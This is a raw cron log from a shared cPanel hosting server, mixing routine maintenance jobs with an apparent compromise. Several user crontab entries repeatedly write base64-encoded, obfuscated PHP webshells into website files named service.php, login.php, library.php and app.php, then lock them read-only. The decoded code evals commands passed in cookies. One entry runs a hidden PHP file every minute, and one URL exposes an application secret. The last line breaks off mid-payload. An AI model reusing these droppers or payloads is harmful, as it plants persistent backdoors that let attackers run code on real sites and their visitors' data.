Mar  2 15:19:01 medusa CROND[13107]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:19:01 medusa CROND[13108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:20:02 medusa CROND[28453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:20:02 medusa CROND[28454]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:20:02 medusa CROND[28455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:20:02 medusa CROND[28457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28471]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:20:02 medusa CROND[28470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:20:02 medusa CROND[28481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:20:02 medusa CROND[28482]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:20:02 medusa CROND[28484]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:20:02 medusa CROND[28489]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:20:02 medusa CROND[28479]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 15:20:02 medusa CROND[28490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:20:02 medusa CROND[28492]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:20:02 medusa CROND[28495]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28499]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:20:02 medusa CROND[28498]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:20:02 medusa CROND[28501]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:20:02 medusa CROND[28494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:20:02 medusa CROND[28483]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 15:20:02 medusa CROND[28497]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:20:02 medusa CROND[28491]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:20:02 medusa CROND[28474]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:20:02 medusa CROND[28500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:20:02 medusa CROND[28486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:21:02 medusa CROND[12659]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:21:02 medusa CROND[12660]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:21:02 medusa CROND[12662]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:21:02 medusa CROND[12672]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:21:02 medusa CROND[12673]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:21:02 medusa CROND[12674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:21:02 medusa CROND[12675]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:21:02 medusa CROND[12676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:21:02 medusa CROND[12678]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:21:02 medusa CROND[12677]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:21:02 medusa CROND[12682]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1